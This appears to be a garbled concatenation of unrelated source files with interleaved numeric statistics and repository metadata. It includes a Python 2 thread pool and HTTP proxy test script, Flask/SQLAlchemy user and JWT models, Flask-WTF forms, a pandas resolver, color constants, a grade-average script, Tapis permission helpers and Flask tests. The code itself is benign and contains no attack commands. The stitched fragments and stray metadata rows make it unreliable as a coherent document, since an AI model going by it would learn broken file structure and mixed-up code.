self.__resizeLock.acquire() try: return len(self.__threads) finally: self.__resizeLock.release() def queueTask(self, task, args=None, taskCallback=None): """Insert a task into the queue. task must be callable; args and taskCallback can be None.""" if self.__isJoining == True: return False if not callable(task): return False self.__taskLock.acquire() try: self.__tasks.append((task, args, taskCallback)) return True finally: self.__taskLock.release() def getNextTask(self): """ Retrieve the next task from the task queue. For use only by ThreadPoolThread objects contained in the pool.""" self.__taskLock.acquire() try: if self.__tasks == []: return (None, None, None) else: self.__processed = self.__processed + 1; task = self.__tasks.pop(0); return task; finally: self.__taskLock.release() def joinAll(self, waitForTasks = True, waitForThreads = True): """ Clear the task queue and terminate all pooled threads, optionally allowing the tasks and threads to finish.""" # Mark the pool as joining to prevent any more task queueing self.__isJoining = True # Wait for tasks to finish if waitForTasks: while self.__tasks != []: sleep (0.1) # Tell all the threads to quit self.__resizeLock.acquire() try: # Wait until all threads have exited if waitForThreads: for t in self.__threads: t.goAway() for t in self.__threads: t.join() del t self.__setThreadCountNolock(0) self.__isJoining = True # Reset the pool for potential reuse self.__isJoining = False finally: self.__resizeLock.release() class ThreadPoolThread (threading.Thread): """ Pooled thread class. """ threadSleepTime = 0.1; def __init__(self, pool): """ Initialize the thread and remember the pool. """ threading.Thread.__init__(self) self.__pool = pool self.__isDying = False def run(self): """ Until told to quit, retrieve the next task and execute it, calling the callback if any. """ while self.__isDying == False: cmd, args, callback = self.__pool.getNextTask() # If there's nothing to do, just sleep a bit if cmd is None: sleep (ThreadPoolThread.threadSleepTime) elif callback is None: cmd(args) else: callback(cmd(args)) def goAway(self): """ Exit the run loop next time through.""" self.__isDying = True # pub_urls - The list of URLs to compare between the proxy # and a direct connection. # # You can create additional automated tests for your proxy by # adding URLs to this array. This will have no effect on your # grade, but may be helpful in testing and debugging your proxy. # # When you are testing against real web servers on the Internet, # you may see minor differences between the proxy-fetched page and # the regular page- possibly due to load balancing or dynamically # generated content. If there is only a single line that doesn't # match between the two, it is likely a product of this sort of # variation. # # Note that since this test script compares transaction output from # the proxy and the direct connection, using invalid URLs may # produce unexpected results, including the abnormal termination # of the testing script. # pub_urls = ['http://www.cse.iitm.ac.in/', 'http://www.cc.iitm.ac.in/',]; pub_conc = ['http://www.cc.iitm.ac.in/',]; pub_ab = ['http://www.cse.iitm.ac.in/',]; ab_conc = ['-n 20 -c 1', '-n 200 -c 10', '-n 1000 -c 50']; # timeout_secs - Individual tests will be killed if they do not # complete within this span of time. timeout_secs = 45.0 concurrency_tries = [2, 10]; tries = 1 def main(): global pub_urls try: proxy_bin = sys.argv[1] except IndexError: usage() sys.exit(2) try: port = sys.argv[2] except IndexError: port = str(random.randint(1025, 49151)) c = 0 while (c < tries): c += 1 print 'Binary: %s' % (proxy_bin); print 'Running on port %s' % port; # Start the proxy running in the background cid = os.spawnl (os.P_NOWAIT, proxy_bin, proxy_bin, port); # Give the proxy time to start up and start listening on the port time.sleep(2) totalcount = 0; passcount = 0 for url in pub_urls: totalcount += 1; print '### Testing: ' + url passed = run_test (compare_url, (url, port), cid) if not live_process (cid): print '!!!Proxy process experienced abnormal termination during test- restarting proxy!' (cid, port) = restart_proxy (proxy_bin, port, cid) passed = False if passed: print '%s: [PASSED]\n' % url passcount += 1 else: print '%s: [FAILED]\n' % url for count in concurrency_tries: for url in pub_conc: totalcount += 1; print '### Testing %d concurrent connects to %s' % (count, url) passed = run_test (concurrent_connect, (count, port, url), cid) if not live_process (cid): print '!!!Proxy process experienced abnormal termination during test- restarting proxy!' (cid, port) = restart_proxy (proxy_bin, port, cid) passed = False if passed: print 'Connect to %s, %d concurrently: [PASSED]\n' % (url, count) passcount += 1 else: print 'Connect to %s, %d concurrently: [FAILED]\n' % (url, count) for count in concurrency_tries: for url in pub_conc: totalcount += 1; print '### Testing %d concurrent fetches to %s' % (count, url) passed = run_test (concurrent_fetch, (count, port, url), cid) if not live_process (cid): print '!!!Proxy process experienced abnormal termination during test- restarting proxy!' (cid, port) = restart_proxy (proxy_bin, port, cid) passed = False if passed: print 'Fetch to %s, %d concurrently: [PASSED]\n' % (url, count) passcount += 1 else: print 'Fetch to %s, %d concurrently: [FAILED]\n' % (url, count) for count in concurrency_tries: for url in pub_conc: totalcount += 1; print '### Testing %d concurrent split fetches' % count passed = run_test (concurrent_fetch_broken, (count, port, url), cid) if not live_process (cid): print '!!!Proxy process experienced abnormal termination during test- restarting proxy!' (cid, port) = restart_proxy (proxy_bin, port, cid) passed = False if passed: print 'Fetch to %s, %d concurrently: [PASSED]\n' % (url, count) passcount += 1 else: print 'Fetch to %s, %d concurrently: [FAILED]\n' % (url, count) for arg in ab_conc: for url in pub_ab: totalcount += 1; print '### Testing apache benchmark on args [%s]' % arg cmdstr = "ab -X 127.0.0.1:%s %s %s" % (port, arg, url); success = False; (sin, sout) = os.popen4 (cmdstr); line = sout.readline () while line != "" and line != None: print " ",line.strip (); if line.find ("Failed requests: 0") >= 0: success = True; line = sout.readline (); if success: print '%s with args %s: [PASSED]\n' % (url, arg) passcount += 1; else: print '%s with args %s: [FAILED]\n' % (url, arg) (cid, port) = restart_proxy (proxy_bin, port, cid) # Cleanup terminate (cid) print 'Summary: ' print '\tType %s: %d of %d tests passed.' % ("multi-process", passcount, totalcount); terminate (cid); port = str (random.randint (1025, 49151)); def usage(): print "Usage: proxy_tester.py path/to/proxy/binary [port]" print " Omit the port argument for a randomly generated port." def run_test(test, args, childid): ''' Run a single test function, monitoring its execution with a timer thread. * test: A function to execute. Should take a tuple as its sole argument and return True for a passed test, and False otherwise. * args: Tuple that contains arguments to the test function * childid: Process ID of the running proxy The amount of time that the monitor waits before killing the proxy process can be set by changing timeout_secs at the top of this file. Returns True for a passed test, False otherwise. ''' monitor = threading.Timer(timeout_secs, do_timeout, [childid]) monitor.start() if not test(args): passed = False else: passed = True monitor.cancel() return passed def concurrent_connect(argtuple): global _connected; count, port, url = argtuple; pool = ThreadPool (count); for cnt in range(count): pool.queueTask (do_connect, ('localhost', port)); pool.joinAll (); result = compare_url ((url, port)); for item in _connected: if item[1] == True: item[0].close (); else: result = False; _connected = []; return result; def concurrent_fetch (argtuple): global _connected; global _success; _success = 0; count, port, url = argtuple; pool = ThreadPool (count); for cnt in range(count): pool.queueTask (do_http_send, ('localhost', port, url)); pool.joinAll (); result = compare_url ((url, port)); pool = ThreadPool (count); for item in _connected: if item[1] == True: pool.queueTask (do_http_read, (item[0], item[2])); pool.joinAll (); _connected = []; return _success == count and result; def concurrent_fetch_broken (argtuple): global _connected; global _success; _success = 0; count, port, url = argtuple; pool = ThreadPool (count); for cnt in range(count): pool.queueTask (do_http_send_partial, ('localhost', port, url)); pool.joinAll (); result = compare_url ((url, port)); connected = _connected; pool = ThreadPool (count); for item in connected: if item[1] == True: pool.queueTask (do_http_send_finish, item[0]); pool.joinAll (); pool = ThreadPool (count); for item in _connected: if item[1] == True: pool.queueTask (do_http_read, (item[0], item[2])); pool.joinAll (); _connected = []; return _success == count and result; def compare_url(argtuple): ''' Compare proxy output to the output from a direct server transaction. A simple sample test: download a web page via the proxy, and then fetch the same page directly from the server. Compare the two pages for any differences, ignoring the Date header field if it is set. Argument tuples is in the form (url, port), where url is the URL to open, and port is the port the proxy is running on. ''' (url, port) = argtuple urldata = urlparse.urlparse(url) try: (host, hostport) = urldata[1].split(':') except ValueError: host = urldata[1] hostport = 80 # Retrieve via proxy try: proxy_data = get_data('localhost', port, url) except socket.error: print '!!!! Socket error while attempting to talk to proxy!' return False # Retrieve directly direct_data = get_direct(host, hostport, urldata[2]) passed = True for (proxy, direct) in zip(proxy_data, direct_data): if proxy != direct and not (proxy.startswith('Date') and direct.startswith('Date')) \ and not (proxy.startswith('Expires') and direct.startswith('Expires')) \ and not (proxy.startswith('Cache-Control') and direct.startswith('Cache-Control')): print 'compare_url failed on %s' % url print 'Proxy: %s' % proxy print 'Direct: %s' % direct passed = False break; return passed def get_direct(host, port, url): '''Retrieve a URL using direct HTTP/1.0 GET.''' getstring = 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' data = http_exchange(host, port, getstring % (url, host)) return data.split('\n') def get_data(host, port, url): '''Retrieve a URL using proxy HTTP/1.0 GET.''' getstring = 'GET %s HTTP/1.0\r\nConnection: close\r\n\r\n' data = http_exchange(host, port, getstring % url) return data.split('\n') _connected = []; _success = 0; def do_connect (argtuple): global _connected; host, port = argtuple; try: conn = telnetlib.Telnet() conn.open(host, port) _connected.append ((conn, True)); except socket.error: print '!!! do_connect: Socket error while attempting to talk to proxy: %s port %s' % (host, port); _connected.append ((conn, False)); def do_http_send (argtuple): global _connected; host, port, url = argtuple; try: data = 'GET %s HTTP/1.0\r\nConnection: close\r\n\r\n' % url; conn = telnetlib.Telnet() conn.open(host, port) conn.write(data) _connected.append ((conn, True, url)); except socket.error: print '!!!! do_http_send: Socket error while attempting to talk to proxy: %s port %s' % (host, port); _connected.append ((conn, False, url)); def do_http_read (argtuple): global _success; conn, url = argtuple; try: proxy_data = conn.read_all().split ('\n'); conn.close (); urldata = urlparse.urlparse (url) try: (host, hostport) = urldata[1].split(':') except ValueError: host = urldata[1]; hostport = 80 # Retrieve directly direct_data = get_direct (host, hostport, urldata[2]) passed = True for (proxy, direct) in zip(proxy_data, direct_data): if proxy != direct and not (proxy.startswith('Date') and direct.startswith('Date')) \ and not (proxy.startswith('Expires') and direct.startswith('Expires')) \ and not (proxy.startswith('Cache-Control') and direct.startswith('Cache-Control')): print 'do_http_read failed on %s' % url print 'Proxy: %s' % proxy print 'Direct: %s' % direct passed = False break; if passed: _success += 1; except socket.error: print '!!!! do_http_read: Socket error while attempting to talk to proxy'; def do_http_send_partial (argtuple): global _connected; host, port, url = argtuple; try: data = 'GET %s ' % url; conn = telnetlib.Telnet() conn.open(host, port) conn.write(data) _connected.append ((conn, True, url)); except socket.error: print '!!!! do_http_send_partial: Socket error while attempting to talk to proxy: %s port %s' % (host, port); _connected.append ((conn, False, url)); def do_http_send_finish (conn): try: data = 'HTTP/1.0\r\nConnection: close\r\n\r\n'; conn.write(data) except socket.error: print '!!!! do_http_send_finish: Socket error while attempting to talk to proxy'; def http_exchange(host, port, data): conn = telnetlib.Telnet() conn.open(host, port) conn.write(data) ret_data = conn.read_all() conn.close() return ret_data def live_process(pid): '''Check that a process is still running.''' try: os.kill(pid, 0) return True except OSError: return False def do_timeout(id): '''Callback function run by the monitor threads to kill a long-running operation.''' print '!!!! Proxy transaction timed out after %d seconds' % timeout_secs terminate(id) def terminate(id): '''Stops and cleans up a running child process.''' if live_process (id) == True: os.kill(id, signal.SIGINT) time.sleep (3) os.kill(id, signal.SIGKILL) try: os.waitpid(id, 0) except OSError: pass def restart_proxy(binary, oldport, oldcid): '''Restart the proxy on a new port number.''' terminate (oldcid); newport = str (int(oldport) + 1) cid = os.spawnl(os.P_NOWAIT, binary, binary, newport); time.sleep(3) return (cid, newport) if __name__ == '__main__': main()
31.976266
118
0.566035
2,391
20,209
4.676286
0.190715
0.010732
0.008049
0.008586
0.4276
0.391289
0.372328
0.354709
0.339505
0.3243
0
0.011076
0.334356
20,209
631
119
32.026941
0.820101
0.078925
0
0.5
0
0.007246
0.12974
0.005576
0
0
0
0
0
0
null
null
0.082126
0.02657
null
null
0.094203
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
84a9d08e6bed6a6555e6ee198cb1f4c23125de79
4,354
py
Python
database/models.py
Andyphied/flaskapi_boiler_plate-with-a-service
991986a9b3562fd53ee8b0913c9345013030860f
[ "MIT" ]
null
null
null
database/models.py
Andyphied/flaskapi_boiler_plate-with-a-service
991986a9b3562fd53ee8b0913c9345013030860f
[ "MIT" ]
null
null
null
database/models.py
Andyphied/flaskapi_boiler_plate-with-a-service
991986a9b3562fd53ee8b0913c9345013030860f
[ "MIT" ]
null
null
null
import datetime from sqlalchemy.ext.hybrid import hybrid_property from marshmallow import Schema, fields, pre_load, validate from flask_marshmallow import Marshmallow from flask_sqlalchemy import SQLAlchemy from flask_bcrypt import Bcrypt import jwt from app.config import key flask_bcrypt = Bcrypt() ma = Marshmallow() db = SQLAlchemy() """ The following codes describe the Table as it is in the Database and its Schema. There are a total of two tables in our Database: - The Car Service Table - The User Table - Black List Token Table """ class BlacklistToken(db.Model): """ Token Model for storing JWT tokens """ __tablename__ = 'blacklist_tokens' id = db.Column(db.Integer, primary_key=True, autoincrement=True) token = db.Column(db.String(500), unique=True, nullable=False) blacklisted_on = db.Column(db.DateTime, nullable=False) def __init__(self, token): self.token = token self.blacklisted_on = datetime.datetime.now() def __repr__(self): return '<id: token: {}'.format(self.token) @staticmethod def check_blacklist(auth_token): # check whether auth token has been blacklisted res = BlacklistToken.query.filter_by(token=str(auth_token)).first() if res: return True else: return False class CarServiceDataModel(db.Model): __tablename__ = "car_service_data" id = db.Column(db.Integer, primary_key=True, autoincrement=True) car_model = db.Column(db.String(255), unique=True, nullable=False) date = db.Column(db.DateTime, nullable=False, unique=True) class User(db.Model): __tablename__ = "user" id = db.Column(db.Integer, primary_key=True, autoincrement=True) email = db.Column(db.String(255), unique=True, nullable=False) registered_on = db.Column(db.DateTime, nullable=False) public_id = db.Column(db.String(100), unique=True) username = db.Column(db.String(50), unique=True) _password_hash = db.Column('password', db.String(100)) """ password: ensures password attribute is read only hash_password: coverts password to hashs check_password: confirms if password matches user password in the database """ @hybrid_property def password(self): return self._password_hash @password.setter def password(self, plaintext): self._password_hash = flask_bcrypt.generate_password_hash(plaintext).decode('utf8') def check_password(self, password): return flask_bcrypt.check_password_hash(self._password_hash, password) def encode_auth_token(self, user_id): """ Generates the Auth Token :return: string """ try: payload = { 'exp': datetime.datetime.utcnow() + datetime.timedelta(days=1, seconds=5), 'iat': datetime.datetime.utcnow(), 'sub': user_id } return jwt.encode( payload, key, algorithm='HS256' ) except Exception as e: return e @staticmethod def decode_auth_token(auth_token): """ Decodes the auth token :param auth_token: :return: integer|string """ try: payload = jwt.decode(auth_token, key) is_blacklisted_token = BlacklistToken.check_blacklist(auth_token) if is_blacklisted_token: return 'Token blacklisted. Please log in again.' else: return payload['sub'] except jwt.ExpiredSignatureError: return 'Signature expired. Please log in again.' except jwt.InvalidTokenError: return 'Invalid token. Please log in again.' def __repr__(self): return "<User '{}'>".format(self.username) class CarServiceDataSchema(ma.SQLAlchemySchema): class Meta: model = CarServiceDataModel car_model = ma.auto_field date = ma.auto_field class UserSchema(ma.SQLAlchemySchema): class Meta: model = User id = ma.auto_field email = ma.auto_field registered_on = ma.auto_field public_id = ma.auto_field username = ma.auto_field password = ma.auto_field
29.221477
128
0.637804
508
4,354
5.291339
0.293307
0.035714
0.040923
0.029762
0.146949
0.12314
0.111607
0.087054
0.087054
0.055804
0
0.007267
0.273082
4,354
149
129
29.221477
0.842022
0.043179
0
0.141304
0
0
0.055238
0
0
0
0
0
0
1
0.097826
false
0.097826
0.086957
0.043478
0.641304
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
84b78caedfa6b230ff426630e1f1e1c6b5e06a23
708
py
Python
backend/import_module/value_resolver/combined_value_resolver/average_value_resolver.py
SaxionAMI/AthleteLoadMonitor
36c6b18202d3ef9bd113d935a933fc5166ae0f9a
[ "MIT" ]
null
null
null
backend/import_module/value_resolver/combined_value_resolver/average_value_resolver.py
SaxionAMI/AthleteLoadMonitor
36c6b18202d3ef9bd113d935a933fc5166ae0f9a
[ "MIT" ]
null
null
null
backend/import_module/value_resolver/combined_value_resolver/average_value_resolver.py
SaxionAMI/AthleteLoadMonitor
36c6b18202d3ef9bd113d935a933fc5166ae0f9a
[ "MIT" ]
null
null
null
import pandas as pd from import_module.model.file_import_configuration import FileImportConfiguration from import_module.value_resolver.base_value_resolver import BaseValueResolver """ Requires: inner_name outer_identifier Calculates average value of the column “outer_identifier”. Assigns value to “inner_name”. """ class AverageValueResolver(BaseValueResolver): def resolve_value(self, filename: str, df: pd.DataFrame, field_configuration: dict, result_df: pd.DataFrame): result_df[field_configuration.get(FileImportConfiguration.ATTR_FIELD_VALUE_INNER_NAME)] = \ round(df[field_configuration.get(FileImportConfiguration.ATTR_FIELD_VALUE_OUTER_IDENTIFIER)].mean(), 1)
35.4
115
0.80791
84
708
6.511905
0.511905
0.04936
0.058501
0.084095
0.219378
0.219378
0.219378
0.219378
0
0
0
0.0016
0.117232
708
19
116
37.263158
0.8736
0
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0.714286
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
84bcf4d4167e5cde1ac21d98c09b906028aca37e
665
py
Python
Diena_9_sets_tuples/u2_g2.py
edzya/Python_RTU_08_20
d2921d998c611c18328dd523daf976a27ce858c1
[ "MIT" ]
8
2020-08-31T16:10:54.000Z
2021-11-24T06:37:37.000Z
Diena_9_sets_tuples/u2_g2.py
edzya/Python_RTU_08_20
d2921d998c611c18328dd523daf976a27ce858c1
[ "MIT" ]
8
2021-06-08T22:30:29.000Z
2022-03-12T00:48:55.000Z
Diena_9_sets_tuples/u2_g2.py
edzya/Python_RTU_08_20
d2921d998c611c18328dd523daf976a27ce858c1
[ "MIT" ]
12
2020-09-28T17:06:52.000Z
2022-02-17T12:12:46.000Z
def get_common_elements(seq1,seq2,seq3): common = set(seq1) & set(seq2) & set(seq3) return tuple(common) print(get_common_elements("abcd",['a','b', 'd'],('b','c', 'd'))) # , {"a","b","c","d", "e"} def get_common_elements_multi(*multy_arg): if len(multy_arg) == 0: return () my_set = set(multy_arg[0]) for el in multy_arg[1:]: my_set = my_set.intersection(set(el)) return tuple(my_set) print(get_common_elements_multi("abcd",['a','b', 'd'],('b','c', 'd'), {"a","b","c","d", "e"}, {"a","c","d", "e"})) print(get_common_elements_multi("Valdis", "Voldemārs", "Voldemorts", "Volodja")) print(get_common_elements_multi())
31.666667
114
0.598496
104
665
3.596154
0.317308
0.144385
0.272727
0.235294
0.296791
0.080214
0.080214
0.080214
0.080214
0.080214
0
0.015901
0.148872
665
21
115
31.666667
0.644876
0.03609
0
0
0
0
0.095313
0
0
0
0
0
0
1
0.142857
false
0
0
0
0.357143
0.285714
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
84c38b0eaaffbd54eee4243137c63d4b5df3f3e8
1,667
py
Python
app/forms.py
Avantol13/woosy
bbc9acdc9604e32bfcfdf78c747a713146d1195f
[ "Apache-2.0" ]
2
2019-07-07T01:56:58.000Z
2021-01-29T19:20:04.000Z
app/forms.py
Avantol13/woosy
bbc9acdc9604e32bfcfdf78c747a713146d1195f
[ "Apache-2.0" ]
null
null
null
app/forms.py
Avantol13/woosy
bbc9acdc9604e32bfcfdf78c747a713146d1195f
[ "Apache-2.0" ]
1
2021-01-29T19:20:06.000Z
2021-01-29T19:20:06.000Z
from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, BooleanField, SubmitField from wtforms.validators import ValidationError, DataRequired, Email, EqualTo, URL from app.models import User class LoginForm(FlaskForm): username = StringField("Username", validators=[DataRequired()]) password = PasswordField("Password", validators=[DataRequired()]) remember_me = BooleanField("Remember Me") submit = SubmitField("Sign In") class RegistrationForm(FlaskForm): username = StringField("Username", validators=[DataRequired()]) email = StringField("Email", validators=[DataRequired(), Email()]) password = PasswordField("Password", validators=[DataRequired()]) password2 = PasswordField( "Repeat Password", validators=[DataRequired(), EqualTo("password")] ) submit = SubmitField("Register") def validate_username(self, username): user = User.query.filter_by(username=username.data).first() if user is not None: raise ValidationError("Please use a different username.") def validate_email(self, email): user = User.query.filter_by(email=email.data).first() if user is not None: raise ValidationError("Please use a different email address.") def etsy_url_check(form, field): if not field.data.startswith("https://www.etsy.com/listing"): raise ValidationError( "Must input an Etsy listing url starting with 'https://www.etsy.com/listing'" ) class WoosyListingFromEtsyForm(FlaskForm): etsy_url = StringField("Etsy Item URL", validators=[URL(), etsy_url_check]) submit = SubmitField("Sync")
37.886364
89
0.707858
179
1,667
6.530726
0.374302
0.112917
0.076989
0.061591
0.367836
0.207015
0.107784
0.107784
0.107784
0.107784
0
0.000728
0.176365
1,667
43
90
38.767442
0.850692
0
0
0.181818
0
0
0.164967
0
0
0
0
0
0
1
0.090909
false
0.151515
0.121212
0
0.636364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
84cb91b820b60fe3f4b52511a5f4509b20a9ebe4
1,029
py
Python
aiarena21/visual/constants.py
monash-programming-team/AIArena21
9c75dd0cf216efd622c921138db30ce54b369ba4
[ "MIT" ]
null
null
null
aiarena21/visual/constants.py
monash-programming-team/AIArena21
9c75dd0cf216efd622c921138db30ce54b369ba4
[ "MIT" ]
null
null
null
aiarena21/visual/constants.py
monash-programming-team/AIArena21
9c75dd0cf216efd622c921138db30ce54b369ba4
[ "MIT" ]
null
null
null
# https://lospec.com/palette-list/pear36 COLORS = [ "#5e315b", "#8c3f5d", "#ba6156", "#f2a65e", "#ffe478", "#cfff70", "#8fde5d", "#3ca370", "#3d6e70", "#323e4f", "#322947", "#473b78", "#4b5bab", "#4da6ff", "#66ffe3", "#ffffeb", "#c2c2d1", "#7e7e8f", "#606070", "#43434f", "#272736", "#3e2347", "#57294b", "#964253", "#e36956", "#ffb570", "#ff9166", "#eb564b", "#b0305c", "#73275c", "#422445", "#5a265e", "#80366b", "#bd4882", "#ff6b97", "#ffb5b5", "#ef7379", ] POINT_GRADIENT = [ COLORS[-7], COLORS[-6], COLORS[-5], COLORS[-4], COLORS[-3], COLORS[-2], ] TEAM_1_PALLETE = [ COLORS[25], COLORS[3], COLORS[26], COLORS[24], COLORS[27], ] TEAM_2_PALLETE = [ COLORS[14], COLORS[13], COLORS[12], COLORS[11], COLORS[10], ] GREYSCALE = [ COLORS[15], COLORS[16], COLORS[17], COLORS[18], COLORS[19], ]
13.539474
40
0.457726
95
1,029
4.905263
0.736842
0.030043
0.055794
0
0
0
0
0
0
0
0
0.254571
0.309038
1,029
75
41
13.72
0.400844
0.036929
0
0
0
0
0.262146
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
84cbfab97eca800b07f1394e321fb0d2f7e0ab05
422
py
Python
media_abc.py
2017-1-LCC/Python
c928dba1e9a5005f26906c0fc2c79161b0bf10f0
[ "CNRI-Python" ]
null
null
null
media_abc.py
2017-1-LCC/Python
c928dba1e9a5005f26906c0fc2c79161b0bf10f0
[ "CNRI-Python" ]
null
null
null
media_abc.py
2017-1-LCC/Python
c928dba1e9a5005f26906c0fc2c79161b0bf10f0
[ "CNRI-Python" ]
null
null
null
nome=(input("Informe o nome do aluno: ")) n1=int(input("Informe a nota da prova: ")) n2=int(input("Informe a nota do trabalho: ")) n3=int(input("Informe a nota do seminário: ")) media = (n1 + n2 + n3) /3 if media >= 7: print(nome," APROVADO!") elif media >=3 : nf = (50 - (media * 7))/3 print(nome," precisa de tirar", nf, "na pova final!") elif media <3: print(nome," REPROVADO!")
26.375
59
0.578199
65
422
3.753846
0.492308
0.196721
0.184426
0.196721
0.262295
0.180328
0
0
0
0
0
0.04375
0.241706
422
15
60
28.133333
0.71875
0
0
0
0
0
0.390663
0
0
0
0
0
0
1
0
false
0
0
0
0
0.25
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
84cf390653649c2e4cbc6c80516c85ce4c074ace
1,071
py
Python
tapis_cli/commands/taccapis/v2/apps/helpers/pems.py
shwetagopaul92/tapis-cli-ng
6f424b8352c0d034d4f5547fac21d5c8dd097a7f
[ "BSD-3-Clause" ]
null
null
null
tapis_cli/commands/taccapis/v2/apps/helpers/pems.py
shwetagopaul92/tapis-cli-ng
6f424b8352c0d034d4f5547fac21d5c8dd097a7f
[ "BSD-3-Clause" ]
null
null
null
tapis_cli/commands/taccapis/v2/apps/helpers/pems.py
shwetagopaul92/tapis-cli-ng
6f424b8352c0d034d4f5547fac21d5c8dd097a7f
[ "BSD-3-Clause" ]
null
null
null
from tapis_cli.utils import seconds __all__ = ['list, ' 'grant', 'revoke', 'drop'] def list(app_id, permissive=False, agave=None, **kwargs): """Helper to list permissions """ try: results = agave.apps.listPermissions(appId=app_id) return results except Exception: if permissive: return {} else: raise def grant(app_id, username, permission, permissive=False, agave=None, **kwargs): """Helper to grant permission on a Tapis app """ body = {'username': username, 'permission': permission.upper()} try: grant_result = agave.apps.updateApplicationPermissions(appId=app_id, body=body) return grant_result except Exception: if permissive: return {} else: raise def revoke(app_id, username, permissive=False, agave=None, **kwargs): pass def drop(app_id, permissive=False, agave=None, **kwargs): pass
23.8
76
0.55929
108
1,071
5.425926
0.388889
0.051195
0.136519
0.163823
0.416382
0.416382
0.351536
0.153584
0
0
0
0
0.338936
1,071
44
77
24.340909
0.827684
0.068161
0
0.451613
0
0
0.039715
0
0
0
0
0
0
1
0.129032
false
0.064516
0.032258
0
0.290323
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
84d86d67a239e511f58a27d49fb289597e0129da
2,156
py
Python
tests/functional/test_devices.py
fiifikrampah/family_device_inventory
031caaef6ef5c44164de8dc7587f774beb4c2aff
[ "MIT" ]
null
null
null
tests/functional/test_devices.py
fiifikrampah/family_device_inventory
031caaef6ef5c44164de8dc7587f774beb4c2aff
[ "MIT" ]
null
null
null
tests/functional/test_devices.py
fiifikrampah/family_device_inventory
031caaef6ef5c44164de8dc7587f774beb4c2aff
[ "MIT" ]
1
2021-09-20T00:23:23.000Z
2021-09-20T00:23:23.000Z
""" This file contains the functional tests for the `devices` blueprint. These tests use GETs and POSTs to different URLs to check for the proper behavior of the `devices` blueprint. """ def test_inventory(client): """ GIVEN a Flask application configured for testing WHEN the '/inventory/<category>' page is requested (GET) with a sample category THEN check the response is valid """ response = client.get('/inventory/Phone') assert response.status_code == 200 def test_add_device(client): """ GIVEN a Flask application configured for testing WHEN the '/add_device' page is requested (GET) THEN check the response is valid """ response = client.get('/add_device') assert response.status_code == 200 assert b'Name' in response.data assert b'Type' in response.data assert b'Serial' in response.data assert b'Model' in response.data assert b'MAC Address' in response.data assert b'Device Status' in response.data assert b'Purchase Date' in response.data assert b'Owner Username' in response.data assert b'Device Category' in response.data assert b'Notes' in response.data assert b'Add/Update Device' in response.data def test_select_device(client): """ GIVEN a Flask application configured for testing WHEN the '/select_device' page is requested (GET) with a sample letter range THEN check the response is valid """ response = client.get('/select_device/AF') assert response.status_code == 200 # TODO: # def test_edit_or_delete(client): # """ # GIVEN a Flask application configured for testing # WHEN the '/select_device' page is requested (GET) # THEN check the response is valid # """ # def test_delete_result(client): # """ # GIVEN a Flask application configured for testing # WHEN the '/select_device' page is requested (GET) # THEN check the response is valid # """ # def test_edit_result(client): # """ # GIVEN a Flask application configured for testing # WHEN the '/edit_result' page is posted to (POST) # THEN check the response is valid # """
29.944444
68
0.690631
300
2,156
4.89
0.25
0.052488
0.104976
0.136333
0.707566
0.537832
0.482618
0.455351
0.455351
0.383776
0
0.005376
0.223562
2,156
71
69
30.366197
0.870968
0.561224
0
0.15
0
0
0.179122
0
0
0
0
0.014085
0.7
1
0.15
false
0
0
0
0.15
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
1
0
0
0
0
0
0
0
0
0
2
84fe224d157252cb36063297617bbef6d343b812
251
py
Python
baas/models.py
b2wads/baas-card
ca17755856c0572684294b21498c6daee16cdb3e
[ "BSD-3-Clause" ]
null
null
null
baas/models.py
b2wads/baas-card
ca17755856c0572684294b21498c6daee16cdb3e
[ "BSD-3-Clause" ]
1
2021-12-13T20:38:49.000Z
2021-12-13T20:38:49.000Z
baas/models.py
b2wads/baas-card
ca17755856c0572684294b21498c6daee16cdb3e
[ "BSD-3-Clause" ]
null
null
null
from pydantic import BaseModel class Account(BaseModel): nome: str cpf: str class Card(BaseModel): numero: str acc_id: str limite: int = 15000 bloqueado: bool = False class Compra(BaseModel): valor: int data: str
13.210526
30
0.653386
32
251
5.09375
0.6875
0
0
0
0
0
0
0
0
0
0
0.027322
0.270916
251
18
31
13.944444
0.863388
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.083333
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
1
0
0
2
ca094a88f86cd8d6010dcaca74edc362d3b9e1bf
1,546
py
Python
test/iteratorext_test.py
wak109/pylib
293cdb1238d7083154d40642c91412c9674e18a6
[ "MIT" ]
1
2020-04-05T02:37:55.000Z
2020-04-05T02:37:55.000Z
test/iteratorext_test.py
wak109/pylib
293cdb1238d7083154d40642c91412c9674e18a6
[ "MIT" ]
null
null
null
test/iteratorext_test.py
wak109/pylib
293cdb1238d7083154d40642c91412c9674e18a6
[ "MIT" ]
null
null
null
